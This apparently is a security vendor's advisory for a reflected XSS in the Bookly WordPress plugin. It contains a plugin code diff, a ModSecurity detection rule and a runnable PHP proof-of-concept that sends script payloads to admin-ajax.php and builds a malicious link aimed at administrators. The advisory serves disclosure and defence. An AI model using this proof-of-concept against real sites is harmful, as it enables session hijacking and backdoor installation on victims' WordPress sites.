-        LibSession::setFormVar( $form_id, 'last_touched', time() );
-
         // Errors.
         $errors = array(
             Errors::SESSION_ERROR => __( 'Session error.', 'bookly' ),
@@ -209,11 +168,19 @@
             Errors::PAYMENT_ERROR => __( 'Error', 'bookly' ) . '.',
             Errors::INCORRECT_USERNAME_PASSWORD => __( 'Incorrect username or password.' ),
         );
-
+        $form_container_id = uniqid();
+        $form_token = isset( $_GET['bookly-form-id'] ) ? $_GET['bookly-form-id'] : null;
         // Set parameters for bookly form.
         $bookly_options = array(
-            'form_id' => $form_id,
-            'status' => $status,
+            'form_id' => $form_container_id,
+            'form_data' => array(
+                'skip_service_step' => (int) ( $hide_service_part1 && $hide_service_part2 ),
+                'hide_service_part1' => (int) $hide_service_part1,
+                'hide_service_part2' => (int) $hide_service_part2,
+                'defaults' => compact( 'service_id', 'staff_id', 'location_id', 'category_id', 'units', 'date_from', 'time_from', 'time_to' ),
+            ),
+            'status' => array( 'booking' => 'new' ),
+            'form_token' => $form_token,
             'skip_steps' => array(
                 /**
                  * [extras,time,repeat]
@@ -237,7 +204,7 @@

         return self::renderTemplate(
             'short_code',
-            compact( 'form_id', 'bookly_options' ),
+            compact( 'form_token', 'form_container_id', 'bookly_options' ),
             false
         );
     }
--- a/bookly-responsive-appointment-booking-tool/frontend/modules/booking/templates/short_code.php
+++ b/bookly-responsive-appointment-booking-tool/frontend/modules/booking/templates/short_code.php
@@ -9,7 +9,7 @@
 -->
 <?php include '_css.php' ?>
 <div class="bookly-css-root">
-    <div id="bookly-form-<?php echo esc_attr( $form_id ) ?>" class="bookly-form" data-form_id="<?php echo esc_attr( $form_id ) ?>" aria-live="polite">
+    <div id="bookly-form-container-<?php echo esc_attr( $form_container_id ) ?>" class="bookly-form" data-form_id="<?php echo esc_attr( $form_token ) ?>" aria-live="polite">
         <div style="text-align: center"><img src="<?php echo includes_url( 'js/tinymce/skins/lightgray/img/loader.gif' ) ?>" alt="<?php esc_attr_e( 'Loading...', 'bookly' ) ?>"/></div>
     </div>
 </div>
--- a/bookly-responsive-appointment-booking-tool/frontend/modules/mobile_staff_cabinet/Ajax.php
+++ b/bookly-responsive-appointment-booking-tool/frontend/modules/mobile_staff_cabinet/Ajax.php
@@ -2,6 +2,7 @@
 namespace BooklyFrontendModulesMobileStaffCabinet;

 use BooklyLib;
+use BooklyFrontendModulesMobileStaffCabinetApiExceptions;

 class Ajax extends LibBaseAjax
 {
@@ -13,16 +14,18 @@
         return array( '_default' => 'anonymous' );
     }

-    /**
-     * Get resources
-     */
     public static function mobileStaffCabinet()
     {
         try {
             $auth = LibEntitiesAuth::query()->where( 'token', self::parameter( 'access_key' ) )->findOne();
+
+            $staff_or_wp_user = self::findUserByAuth( $auth );
+
             $request = new LibBaseRequest();
-            $handler = ApiHandlerFactory::create( $auth, $request );
-            $response = $handler->process();
+            $handler = ApiHandlerFactory::createLocator()
+                ->getHandler( $staff_or_wp_user, $request );
+
+            $response = $handler( $request );

             get_option( LibUtilsLog::OPTION_MOBILE_STAFF_CABINET ) && self::logDebug( $handler, $request, $response );
         } catch ( Error $e ) {
@@ -56,22 +59,22 @@
     }

     /**
-     * @param ApiApiHandler $handler
+     * @param ApiHandlersHandlerInterface $handler
      * @param LibBaseRequest $request
-     * @param ApiIResponse $response
+     * @param ApiResponse $response
      * @return void
      */
-    protected static function logDebug( ApiApiHandler $handler, LibBaseRequest $request, ApiIResponse $response )
+    protected static function logDebug( ApiHandlersHandlerInterface $handler, LibBaseRequest $request, ApiResponse $response )
     {
         try {
             $class = get_class( $handler );

-            LibUtilsLog::tempPut( LibUtilsLog::OPTION_MOBILE_STAFF_CABINET, $class . '::' . $handler->getProcessMethod(), null, '<pre>' . json_encode( array(
+            LibUtilsLog::tempPut( LibUtilsLog::OPTION_MOBILE_STAFF_CABINET, $class . '::' . $handler->getResolverMethodName(), null, '<pre>' . json_encode( array(
                     'API' => $request->getHeaders()->getGreedy( 'X-Bookly-Api-Version' ),
                     'role' => $handler->getRole(),
-                    'request' => $request->getAll(),
+                    'request.body' => $request->getAll(),
                     'request.headers' => $request->getHeaders()->getAll(),
-                    'response' => $response->getData(),
+                    'response.body' => $response->getData(),
                 ), 128 ) . '</pre>' );
         } catch ( Exception $e ) {
         }
@@ -83,7 +86,7 @@
      */
     protected static function logException( $e )
     {
-        if ( $e instanceof ApiExceptionsHandleException ) {
+        if ( $e instanceof ExceptionsHandleException ) {
             try {
                 LibUtilsLog::put( LibUtilsLog::ACTION_ERROR,
                     $e->getClassName() ?: 'Mobile Staff Cabinet API',
@@ -99,11 +102,11 @@

     /**
      * @param Throwable $throwable
-     * @return ApiIResponse
+     * @return ApiResponse
      */
     protected static function getThrowableResponse( $throwable )
     {
-        $response = new ApiResponse();
+        $response = new ApiResponse( null );
         $response->setHttpStatus( 400 );

         $data = array(
@@ -112,14 +115,14 @@
                 'message' => $throwable->getMessage(),
             ),
         );
-        if ( $throwable instanceof ApiExceptionsApiException ) {
+        if ( $throwable instanceof ExceptionsApiException ) {
             $response->setHttpStatus( $throwable->getHttpStatus() );
             if ( $throwable->getErrorData() ) {
                 $data['error']['data'] = $throwable->getErrorData();
             }
-        } elseif ( $throwable instanceof ApiExceptionsParameterException ) {
+        } elseif ( $throwable instanceof ExceptionsParameterException ) {
             $data['error']['data'] = $throwable->getParameter();
-        } elseif ( ( $throwable instanceof ApiExceptionsBooklyException ) || ( $throwable instanceof ApiExceptionsHandleException ) ) {
+        } elseif ( ( $throwable instanceof ExceptionsBooklyException ) || ( $throwable instanceof ExceptionsHandleException ) ) {
             $data['error']['message'] = $throwable->getMessage();
         } else {
             $data['error']['message'] = 'ERROR';
@@ -128,4 +131,35 @@

         return $response;
     }
+
+    /**
+     * @param LibEntitiesAuth|null $auth
+     * @return WP_User|LibEntitiesStaff
+     */
+    protected static function findUserByAuth( $auth )
+    {
+        if ( $auth === null ) {
+            throw new ExceptionsApiException( 'Unauthorized', 401 );
+        }
+
+        // Check staff access
+        if ( $auth->getStaffId() ) {
+            $staff = LibEntitiesStaff::find( $auth->getStaffId() );
+            if ( $staff ) {
+                return $staff;
+            }
+        } // Check admin/supervisor access
+        elseif ( $auth->getWpUserId() ) {
+            $wp_user = get_user_by( 'id', $auth->getWpUserId() );
+            $user_id = $auth->getWpUserId();
+
+            if ( user_can( $user_id, 'manage_bookly' ) ||
+                user_can( $user_id, 'manage_options' ) ||
+                user_can( $user_id, 'manage_bookly_appointments' ) ) {
+                return $wp_user;
+            }
+        }
+
+        throw new ExceptionsApiException( 'Unauthorized', 401 );
+    }
 }
 No newline at end of file
--- a/bookly-responsive-appointment-booking-tool/frontend/modules/mobile_staff_cabinet/api/ApiHandler.php
+++ b/bookly-responsive-appointment-booking-tool/frontend/modules/mobile_staff_cabinet/api/ApiHandler.php
@@ -1,113 +0,0 @@
-<?php
-namespace BooklyFrontendModulesMobileStaffCabinetApi;
-
-use BooklyLib;
-
-/**
- * Abstract class for API
- */
-abstract class ApiHandler
-{
-    const ROLE_SUPERVISOR = 'supervisor';
-    const ROLE_STAFF = 'staff';
-
-    /** @var LibEntitiesStaff */
-    protected $staff;
-    /** @var WP_User */
-    protected $wp_user;
-    /** @var array */
-    protected $result = array();
-
-    /** @var string */
-    protected $role;
-    /** @var LibBaseRequest */
-    protected $request;
-    /** @var LibUtilsCollection */
-    protected $params;
-    /** @var callable */
-    protected $processMethod;
-    /** @var IResponse */
-    protected $response;
-
-    /**
-     * Sets resource method to execute
-     *
-     * @param string $method
-     * @return void
-     */
-    public function setProcessMethod( $method )
-    {
-        $this->processMethod = $method;
-    }
-
-    /**
-     * @return string|null
-     */
-    public function getProcessMethod()
-    {
-        return $this->processMethod;
-    }
-
-    /**
-     * @return string|null
-     */
-    public function getRole()
-    {
-        return $this->role;
-    }
-
-    /**
-     * Handles the API request by executing the appropriate resource method
-     *
-     * @return IResponse
-     */
-    public function process()
-    {
-        if ( method_exists( $this, $this->processMethod ) ) {
-            $this->{$this->processMethod}();
-        }
-
-        $data = $this->getResponseData();
-
-        $this->response
-            ->setData( $data )
-            ->addHeader( 'X-Bookly-V', LibPlugin::getVersion() );
-
-        return $this->response;
-    }
-
-    /**
-     * Sets request parameters
-     *
-     * @param mixed $params
-     * @return void
-     */
-    protected function setParams( $params )
-    {
-        $this->params = new LibUtilsCollection( is_array( $params ) ? $params : array() );
-    }
-
-    /**
-     * Gets parameter value by name
-     *
-     * @param string $name
-     * @param mixed $default
-     * @return mixed
-     */
-    protected function param( $name, $default = null )
-    {
-        return $this->params->has( $name )
-            ? stripslashes_deep( $this->params->get( $name ) )
-            : $default;
-    }
-
-    /**
-     * Gets response data
-     *
-     * @return array
-     */
-    protected function getResponseData()
-    {
-        return array( 'result' => $this->result );
-    }
-}
--- a/bookly-responsive-appointment-booking-tool/frontend/modules/mobile_staff_cabinet/api/HandlerFactory.php
+++ b/bookly-responsive-appointment-booking-tool/frontend/modules/mobile_staff_cabinet/api/HandlerFactory.php
@@ -1,183 +1,18 @@
 <?php
 namespace BooklyFrontendModulesMobileStaffCabinetApi;

-use BooklyLib;
-
 class HandlerFactory
 {
     /**
-     * Creates appropriate handler object based on API version
-     *
-     * @param LibEntitiesAuth|null $auth Authentication entity
-     * @param LibBaseRequest $request Request object
-     * @return ApiHandler
+     * @return HandlerLocator
      */
-    public static function create( $auth, LibBaseRequest $request )
+    public static function createLocator()
     {
-        list( $role, $staff_or_wp_user ) = self::determineUserRole( $auth );
-
-        if ( $staff_or_wp_user === null ) {
-            throw new ExceptionsApiException( 'Unauthorized', 401, array(), $request );
-        }
-
-        // Create handler based on protocol version and requested method
-        $handler = self::findCompatibleHandler( $request, $role );
-
-        // Set user data based on role
-        if ( $role === ApiHandler::ROLE_SUPERVISOR && method_exists( $handler, 'setWpUser' ) ) {
-            $handler->setWpUser( $staff_or_wp_user );
-        } elseif ( $role === ApiHandler::ROLE_STAFF && method_exists( $handler, 'setStaff' ) ) {
-            $handler->setStaff( $staff_or_wp_user );
-        }
-
-        return $handler;
-    }
-
-    /**
-     * Determines user role based on authentication data
-     *
-     * @param LibEntitiesAuth|null $auth Authentication entity
-     * @return array
-     */
-    private static function determineUserRole( $auth )
-    {
-        $role = null;
-
-        if ( $auth === null ) {
-            return array( $role, null );
-        }
-
-        // Check staff access
-        if ( $auth->getStaffId() ) {
-            $staff = LibEntitiesStaff::find( $auth->getStaffId() );
-            if ( $staff ) {
-                return array( ApiHandler::ROLE_STAFF, $staff );
-            }
-        } // Check admin/supervisor access
-        elseif ( $auth->getWpUserId() ) {
-            $wp_user = get_user_by( 'id', $auth->getWpUserId() );
-            $user_id = $auth->getWpUserId();
-
-            if ( user_can( $user_id, 'manage_bookly' ) ||
-                user_can( $user_id, 'manage_options' ) ||
-                user_can( $user_id, 'manage_bookly_appointments' ) ) {
-                return array( ApiHandler::ROLE_SUPERVISOR, $wp_user );
-            }
-        }
-
-        return array( $role, null );
-    }
-
-    /**
-     * Creates handler object for specific API version with method support check
-     *
-     * @param LibBaseRequest $request
-     * @param string|null $role User role
-     * @return ApiHandler
-     */
-    private static function findCompatibleHandler( LibBaseRequest $request, $role )
-    {
-        // Get API version from headers (default: 1.0)
-        $version = $request->getHeaders()->getGreedy( 'X-Bookly-Api-Version', '1.0' );
-
-        $compatible_classes = self::findCompatibleHandlerClasses( $version );
-
-        if ( empty( $compatible_classes ) ) {
-            throw new ExceptionsHandleException( 'UNKNOWN_REQUEST', $request, null, 'No compatible response classes found' );
-        }
-
-        $method = self::buildMethodNameFromRequest( $request );
-
-        foreach ( $compatible_classes as $class_name ) {
-            if ( method_exists( $class_name, $method ) ) {
-                try {
-                    /** @var ApiHandler $handler */
-                    $handler = new $class_name( $role, $request, new Response() );
-                    $handler->setProcessMethod( $method );
-
-                    return $handler;
-                } catch ( Error $e ) {
-                    throw new ExceptionsHandleException( 'UNKNOWN_REQUEST', $request, $class_name, 'Method ' . $method . ' has error ' . $e->getMessage() );
-                } catch ( Exception $e ) {
-                    throw new ExceptionsHandleException( 'UNKNOWN_REQUEST', $request, $class_name, 'Method ' . $method . ' has exception ' . $e->getMessage() );
-                }
-            }
-        }
-
-        throw new ExceptionsHandleException( 'UNKNOWN_REQUEST', $request, null, 'Method ' . $method . ' — not found' );
-    }
-
-    /**
-     * Finds all handler classes compatible with requested version
-     *
-     * @param string $version Requested API version
-     * @return string[] Array of compatible handler class names
-     */
-    private static function findCompatibleHandlerClasses( $version )
-    {
-        $version = trim( $version );
-        $fs = LibUtilsCommon::getFilesystem();
-        $base_dir = __DIR__;
-        $dirs = $fs->dirlist( $base_dir, false );
-        $classes = array();
-
-        foreach ( $dirs as $dir ) {
-            if ( $dir['type'] === 'd' && preg_match( '/^v(d+_d+)$/', $dir['name'], $matches ) ) {
-                $folder_version = str_replace( '_', '.', $matches[1] );
-                if ( version_compare( $folder_version, $version, '>' ) ) {
-                    continue;
-                }
-                $handler_path = $base_dir . '/' . $dir['name'] . '/Handler.php';
-                if ( file_exists( $handler_path ) ) {
-                    $class_name = __NAMESPACE__ . '\' . strtoupper( $dir['name'] ) . '\Handler';
-                    if ( class_exists( $class_name ) ) {
-                        $classes[ $folder_version ] = $class_name;
-                    }
-                }
-            }
-        }
-
-        if ( count( $classes ) > 1 ) {
-            uksort( $classes, function( $a, $b ) {
-                return version_compare( $b, $a );
-            } );
-        }
-
-        return $classes;
-    }
-
-    /**
-     * Builds method name from request parameters
-     * Converts kebab-case resource names to camelCase method names
-     * Example: 'resource-name' with action 'save' => 'saveResourceName'
-     *
-     * @param LibBaseRequest $request
-     * @return string|null
-     */
-    private static function buildMethodNameFromRequest( LibBaseRequest $request )
-    {
-        $resource = $request->get( 'resource' );
-        $action = $request->get( 'action' );
-
-        if ( empty( $resource ) ) {
-            return null;
-        }
-
-        // Convert kebab-case to camelCase
-        $parts = explode( '-', $resource );
-        $method = $parts[0];
-
-        // Convert remaining parts to PascalCase and append
-        $parts_count = count( $parts );
-        for ( $i = 1; $i < $parts_count; $i++ ) {
-            $method .= ucfirst( $parts[ $i ] );
-        }
+        $locator = new HandlerLocator();

-        // Append action if present
-        if ( ! empty( $action ) ) {
-            $method = $action . ucfirst( $method );
-        }
+        $locator->register('BooklyFrontendModulesMobileStaffCabinetApiHandlersHandler1_0');
+        $locator->register('BooklyFrontendModulesMobileStaffCabinetApiHandlersHandler1_1');

-        return $method;
+        return $locator;
     }
-}
+}
 No newline at end of file
--- a/bookly-responsive-appointment-booking-tool/frontend/modules/mobile_staff_cabinet/api/HandlerLocator.php
+++ b/bookly-responsive-appointment-booking-tool/frontend/modules/mobile_staff_cabinet/api/HandlerLocator.php
@@ -0,0 +1,95 @@
+<?php
+namespace BooklyFrontendModulesMobileStaffCabinetApi;
+
+use BooklyLib;
+
+final class HandlerLocator
+{
+    /** @var array<string, HandlersHandlerInterface> */
+    private $handlers = array();
+
+    /**
+     * @param string $class_name
+     */
+    public function register( $class_name )
+    {
+        /** @var HandlersHandlerInterface $class_name */
+        $this->handlers[ $class_name::getVersion() ] = $class_name;
+    }
+
+    /**
+     * @param WP_User | LibEntitiesStaff $staff_or_wp_user
+     * @param LibBaseRequest $request
+     *
+     * @return HandlersHandlerInterface
+     * @throws ExceptionsHandleException
+     */
+    public function getHandler( $staff_or_wp_user, LibBaseRequest $request )
+    {
+        $version = $request->getHeaders()->getGreedy( 'X-Bookly-Api-Version', '1.0' );
+
+        if ( ! array_key_exists( $version, $this->handlers ) ) {
+            throw new ExceptionsHandleException( 'UNKNOWN_REQUEST', $request, null, 'API ' . $version . ' — not found' );
+        }
+        $compatible_classes = $this->findCompatibleHandlerClasses( $version );
+        $method = $this->buildMethodNameFromRequest( $request );
+
+        foreach ( $compatible_classes as $class_name ) {
+            if ( method_exists( $class_name, $method ) ) {
+                try {
+                    /** @var HandlersHandlerInterface $class_name */
+                    return new $class_name( $staff_or_wp_user, $method );
+                } catch ( Error $e ) {
+                    throw new ExceptionsHandleException( 'UNKNOWN_REQUEST', $request, $class_name, 'Method ' . $method . ' has error ' . $e->getMessage() );
+                } catch ( Exception $e ) {
+                    throw new ExceptionsHandleException( 'UNKNOWN_REQUEST', $request, $class_name, 'Method ' . $method . ' has exception ' . $e->getMessage() );
+                }
+            }
+        }
+        throw new ExceptionsHandleException( 'UNKNOWN_REQUEST', $request, null, 'Method ' . $method . ' — not found' );
+    }
+
+    private function findCompatibleHandlerClasses( $version )
+    {
+        $compatible_handlers = array();
+        foreach ( $this->handlers as $handler_version => $handler ) {
+            if ( version_compare( $handler_version, $version, '<=' ) ) {
+                $compatible_handlers[ $handler_version ] = $handler;
+            }
+        }
+
+        // Sort handlers by version descending
+        uksort( $compatible_handlers, static function ( $a, $b ) {
+            return version_compare( $b, $a );
+        } );
+
+        return $compatible_handlers;
+    }
+
+    private function buildMethodNameFromRequest( LibBaseRequest $request )
+    {
+        $resource = $request->get( 'resource' );
+        $action = $request->get( 'action' );
+
+        if ( empty( $resource ) ) {
+            throw new ExceptionsHandleException( 'UNKNOWN_REQUEST', $request, null, 'Resouce — is empty' );
+        }
+
+        // Convert kebab-case to camelCase
+        $parts = explode( '-', $resource );
+        $method = $parts[0];
+
+        // Convert remaining parts to PascalCase and append
+        $parts_count = count( $parts );
+        for ( $i = 1; $i < $parts_count; $i++ ) {
+            $method .= ucfirst( $parts[ $i ] );
+        }
+
+        // Append action if present
+        if ( ! empty( $action ) ) {
+            $method = $action . ucfirst( $method );
+        }
+
+        return $method;
+    }
+}
 No newline at end of file
--- a/bookly-responsive-appointment-booking-tool/frontend/modules/mobile_staff_cabinet/api/IResponse.php
+++ b/bookly-responsive-appointment-booking-tool/frontend/modules/mobile_staff_cabinet/api/IResponse.php
@@ -1,30 +0,0 @@
-<?php
-namespace BooklyFrontendModulesMobileStaffCabinetApi;
-
-interface IResponse
-{
-    /**
-     * @return $this
-     */
-    public function setData( $data );
-
-    /**
-     * @return mixed
-     */
-    public function getData();
-
-    /**
-     * @return $this
-     */
-    public function setHttpStatus( $http_status );
-
-    /**
-     * @return $this
-     */
-    public function addHeader( $name, $value );
-
-    /**
-     * @return void
-     */
-    public function render();
-}
--- a/bookly-responsive-appointment-booking-tool/frontend/modules/mobile_staff_cabinet/api/Response.php
+++ b/bookly-responsive-appointment-booking-tool/frontend/modules/mobile_staff_cabinet/api/Response.php
@@ -1,13 +1,18 @@
 <?php
 namespace BooklyFrontendModulesMobileStaffCabinetApi;

-class Response implements IResponse
+class Response
 {
     protected $http_status = 200;
     protected $data = '';
     protected $headers = array();
     protected $contentType = 'application/json';

+    public function __construct( $data )
+    {
+        $this->setData( $data );
+    }
+
     public function render()
     {
         $body = $this->getBody();
--- a/bookly-responsive-appointment-booking-tool/frontend/modules/mobile_staff_cabinet/api/exceptions/ParameterException.php
+++ b/bookly-responsive-appointment-booking-tool/frontend/modules/mobile_staff_cabinet/api/exceptions/ParameterException.php
@@ -12,7 +12,7 @@
     {
         $this->parameter = $parameter;
         $this->value = $value;
-        parent::__construct( '', $code );
+        parent::__construct( 'INVALID_PARAMETER', $code );
     }

     /**
--- a/bookly-responsive-appointment-booking-tool/frontend/modules/mobile_staff_cabinet/api/handlers/Handler.php
+++ b/bookly-responsive-appointment-booking-tool/frontend/modules/mobile_staff_cabinet/api/handlers/Handler.php
@@ -0,0 +1,119 @@
+<?php
+namespace BooklyFrontendModulesMobileStaffCabinetApiHandlers;
+
+use BooklyLib;
+use BooklyLibEntitiesStaff;
+use BooklyFrontendModulesMobileStaffCabinetApi;
+
+abstract class Handler implements HandlerInterface
+{
+    const ROLE_SUPERVISOR = 'supervisor';
+    const ROLE_STAFF = 'staff';
+
+    /** @var string */
+    protected $role;
+    /** @var Staff */
+    protected $staff;
+    /** @var WP_User */
+    protected $wp_user;
+    /** @var LibUtilsCollection */
+    protected $params;
+    /** @var string */
+    protected $resolver_method_name = '';
+    /** @var LibBaseRequest */
+    protected $request;
+
+    /**
+     * @param WP_User | Staff $staff_or_wp_user
+     * @param string $resolver
+     */
+    public function __construct( $staff_or_wp_user, $resolver )
+    {
+        if ( $staff_or_wp_user instanceof WP_User ) {
+            $this->role = self::ROLE_SUPERVISOR;
+            $this->wp_user = $staff_or_wp_user;
+            LibUtilsLog::setAuthor( $staff_or_wp_user->display_name );
+        } elseif ( $staff_or_wp_user instanceof Staff ) {
+            $this->role = self::ROLE_STAFF;
+            $this->staff = $staff_or_wp_user;
+            $this->staff && LibUtilsLog::setAuthor( $staff_or_wp_user->getFullName() );
+        }
+
+        $this->resolver_method_name = $resolver;
+    }
+
+    /**
+     * @param LibBaseRequest $request
+     * @return ApiResponse
+     * @throws ApiExceptionsParameterException
+     */
+    public function __invoke( LibBaseRequest $request )
+    {
+        $this->request = $request;
+        $this->params = new LibUtilsCollection( $request->get( 'params', array() ) );
+
+        $data = $this->{$this->resolver_method_name}();
+        $response = new ApiResponse( array( 'result' => $data ) );
+
+        return $response->addHeader( 'X-Bookly-V', LibPlugin::getVersion() );
+    }
+
+    /**
+     * @return string
+     */
+    public function getResolverMethodName()
+    {
+        return $this->resolver_method_name;
+    }
+
+    /**
+     * @return string
+     */
+    public function getRole()
+    {
+        return $this->role;
+    }
+
+    /**
+     * @param string $name
+     * @param $default
+     * @return mixed|null
+     */
+    protected function param

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-32540
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:10032540,phase:2,deny,status:403,chain,msg:'CVE-2026-32540 Reflected XSS in Bookly Plugin via AJAX',severity:'CRITICAL',tag:'CVE-2026-32540',tag:'WordPress',tag:'Bookly',tag:'XSS'"
  SecRule ARGS_POST:action "@streq bookly_get_day_schedule" "chain"
    SecRule ARGS_POST:appointment_id|ARGS_POST:staff_id|ARGS_POST:service_id|ARGS_POST:date|ARGS_POST:location_id|ARGS_POST:extras "@rx (?i)<[s/]*script" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,logdata:'Matched %{MATCHED_VAR_NAME}=%{MATCHED_VAR}'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32540 - Online Scheduling and Appointment Booking System – Bookly <= 26.7 - Reflected Cross-Site Scripting

<?php
/**
 * Proof of Concept for CVE-2026-32540
 * Reflected XSS in Bookly WordPress Plugin <= 26.7
 *
 * Usage: php poc.php --url https://target.site --payload '<script>alert(document.domain)</script>'
 */

$target_url = '';
$payload = '';

// Parse command line arguments
$options = getopt('', ['url:', 'payload:']);
if (isset($options['url'])) {
    $target_url = rtrim($options['url'], '/');
}
if (isset($options['payload'])) {
    $payload = $options['payload'];
}

if (empty($target_url)) {
    echo "Usage: php poc.php --url https://target.site [--payload '<script>alert(1)</script>']n";
    echo "Default payload will be used if not specified.n";
    exit(1);
}

if (empty($payload)) {
    $payload = '<script>alert(`XSS: ${document.domain}`)</script>';
}

// Encode payload for URL parameter
$encoded_payload = urlencode($payload);

// Construct the vulnerable endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Prepare POST data for the vulnerable action
$post_data = [
    'action' => 'bookly_get_day_schedule',
    'staff_id' => '1',
    'service_id' => '1',
    'date' => '2024-01-01',
    'appointment_id' => $payload,  // Vulnerable parameter
    'location_id' => '1',
    'nop' => '1',
    'extras' => '[]',
    '_wpnonce' => 'test'  // Nonce may be required but can be bypassed in some configurations
];

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/x-www-form-urlencoded',
        'X-Requested-With: XMLHttpRequest'
    ]
]);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);

curl_close($ch);

// Analyze response
if ($error) {
    echo "[!] cURL Error: $errorn";
    exit(1);
}

echo "[+] Target: $target_urln";
echo "[+] Endpoint: $ajax_urln";
echo "[+] HTTP Status: $http_coden";
echo "[+] Payload: $payloadnn";

if ($http_code == 200) {
    echo "[+] Request successful. Checking for XSS indicators...n";
    
    // Check if payload appears in response (indicator of reflection)
    if (strpos($response, $payload) !== false) {
        echo "[!] CRITICAL: Payload found in response - XSS likely vulnerablen";
        echo "[!] Crafted URL for victim: $ajax_url?" . http_build_query($post_data) . "n";
    } else {
        echo "[-] Payload not directly reflected in responsen";
        echo "[-] Response preview: " . substr($response, 0, 200) . "...n";
    }
    
    // Check for JSON error which might indicate patched version
    $json_response = json_decode($response, true);
    if (json_last_error() === JSON_ERROR_NONE) {
        if (isset($json_response['success']) && $json_response['success'] === true) {
            echo "[+] AJAX request processed successfullyn";
        } else {
            echo "[-] AJAX request returned errorn";
        }
    }
} else {
    echo "[-] Request failed with HTTP $http_coden";
}

// Demonstrate exploitation vector
echo "n[+] Exploitation Scenario:n";
echo "1. Attacker crafts malicious URL with XSS payload in appointment_id parametern";
echo "2. Victim (authenticated admin) clicks the linkn";
echo "3. JavaScript executes in admin context, allowing:n";
echo "   - Session hijackingn";
echo "   - Plugin installationn";
echo "   - Backdoor creationn";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School